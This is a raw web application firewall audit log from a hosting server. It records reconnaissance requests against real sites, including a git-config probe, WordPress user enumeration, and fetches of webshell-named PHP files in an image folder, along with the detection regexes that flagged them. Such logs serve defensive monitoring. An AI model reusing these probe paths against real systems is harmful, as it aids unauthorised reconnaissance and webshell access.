Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Stopwatch: 1789311137054486 351485 (- - -)
Stopwatch2: 1789311137054486 351485; combined=349960, p1=424, p2=349378, p3=77, p4=8, p5=73, sr=285, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7dc06749-Z--
--21ec3c35-A--
[13/Sep/2026:17:53:13.907305 +0300] aqa42Put1GUrjaX0wO40CgAAANE 34.181.175.74 60282 127.0.0.1 7081
--21ec3c35-B--
GET //?author=1 HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--21ec3c35-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/7.4.33
X-Redirect-By: WordPress
Location: https://dev.chania24.taxi/author/chania24/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
--21ec3c35-E--
--21ec3c35-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311192128135 1779225 (- - -)
Stopwatch2: 1789311192128135 1779225; combined=3315, p1=245, p2=2935, p3=95, p4=8, p5=32, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--21ec3c35-Z--
--c3ed6759-A--
[13/Sep/2026:17:53:15.887493 +0300] aqa42khjHs68UzErry1J0QAAAIY 34.181.175.74 60290 127.0.0.1 7081
--c3ed6759-B--
GET //?author=2 HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--c3ed6759-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/7.4.33
X-Redirect-By: WordPress
Location: https://dev.chania24.taxi/?author=2
Content-Length: 0
Content-Type: text/html; charset=UTF-8
--c3ed6759-E--
--c3ed6759-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311194097567 1789998 (- - -)
Stopwatch2: 1789311194097567 1789998; combined=3240, p1=240, p2=2855, p3=96, p4=8, p5=40, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3ed6759-Z--
--c3ed6759-A--
[13/Sep/2026:17:53:22.582457 +0300] aqa43BsbgHO3aGL3jiTwNgAAABU 34.181.175.74 50270 127.0.0.1 7081
--c3ed6759-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
--c3ed6759-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Total: 1
X-WP-TotalPages: 1
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--c3ed6759-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311196388759 6193787 (- - -)
Stopwatch2: 1789311196388759 6193787; combined=35982, p1=1552, p2=34377, p3=0, p4=0, p5=52, sr=195, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3ed6759-Z--
--c054e357-A--
[13/Sep/2026:18:08:11.115482 +0300] aqa8W-ut1GUrjaX0wO40aQAAAMc 216.73.216.19 45352 127.0.0.1 7081
--c054e357-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--c054e357-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c054e357-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqa8W-ut1GUrjaX0wO40aQAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqa8W-ut1GUrjaX0wO40aQAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312091074142 41389 (- - -)
Stopwatch2: 1789312091074142 41389; combined=37527, p1=543, p2=36907, p3=0, p4=0, p5=76, sr=220, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--c054e357-Z--
--eb4b5b1c-A--
[13/Sep/2026:18:08:11.297290 +0300] aqa8W0hjHs68UzErry1J5QAAAIQ 216.73.216.19 45362 127.0.0.1 7081
--eb4b5b1c-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--eb4b5b1c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--eb4b5b1c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqa8W0hjHs68UzErry1J5QAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqa8W0hjHs68UzErry1J5QAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312091259152 38194 (- - -)
Stopwatch2: 1789312091259152 38194; combined=34870, p1=270, p2=34520, p3=0, p4=0, p5=80, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--eb4b5b1c-Z--
--f8733764-A--
[13/Sep/2026:18:08:12.775944 +0300] aqa8XPut1GUrjaX0wO40agAAAMY 216.73.216.19 45370 127.0.0.1 7081
--f8733764-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--f8733764-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c587b7c9-3217-43bb-a5c1-a2f095c327a7
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f8733764-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqa8XPut1GUrjaX0wO40agAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqa8XPut1GUrjaX0wO40agAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312092552901 223104 (- - -)
Stopwatch2: 1789312092552901 223104; combined=33955, p1=315, p2=33577, p3=0, p4=0, p5=63, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--f8733764-Z--
--df0b2a51-A--
[13/Sep/2026:18:08:14.122712 +0300] aqa8Xvut1GUrjaX0wO40awAAAMg 216.73.216.19 45380 127.0.0.1 7081
--df0b2a51-B--
GET /img/ufo_fm.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--df0b2a51-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--df0b2a51-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqa8Xvut1GUrjaX0wO40awAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqa8Xvut1GUrjaX0wO40awAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312094087633 35146 (- - -)
Stopwatch2: 1789312094087633 35146; combined=32360, p1=221, p2=32062, p3=0, p4=0, p5=77, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--df0b2a51-Z--
--5685f173-A--
[13/Sep/2026:18:08:17.051654 +0300] aqa8YEhjHs68UzErry1J5gAAAJY 216.73.216.19 40332 127.0.0.1 7081
--5685f173-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--5685f173-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c1f940d0-31f3-4256-91e1-0fe2dc7b2187
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5685f173-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqa8YEhjHs68UzErry1J5gAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqa8YEhjHs68UzErry1J5gAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312096865418 186286 (- - -)
Stopwatch2: 1789312096865418 186286; combined=32584, p1=254, p2=32257, p3=0, p4=0, p5=73, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--5685f173-Z--
--51daec6c-A--
[13/Sep/2026:18:08:17.284290 +0300] aqa8YUhjHs68UzErry1J5wAAAIc 216.73.216.19 40342 127.0.0.1 7081
--51daec6c-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--51daec6c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: a25f20d2-d17d-4500-82f4-3b059c41a181
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--51daec6c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqa8YUhjHs68UzErry1J5wAAAIc"]
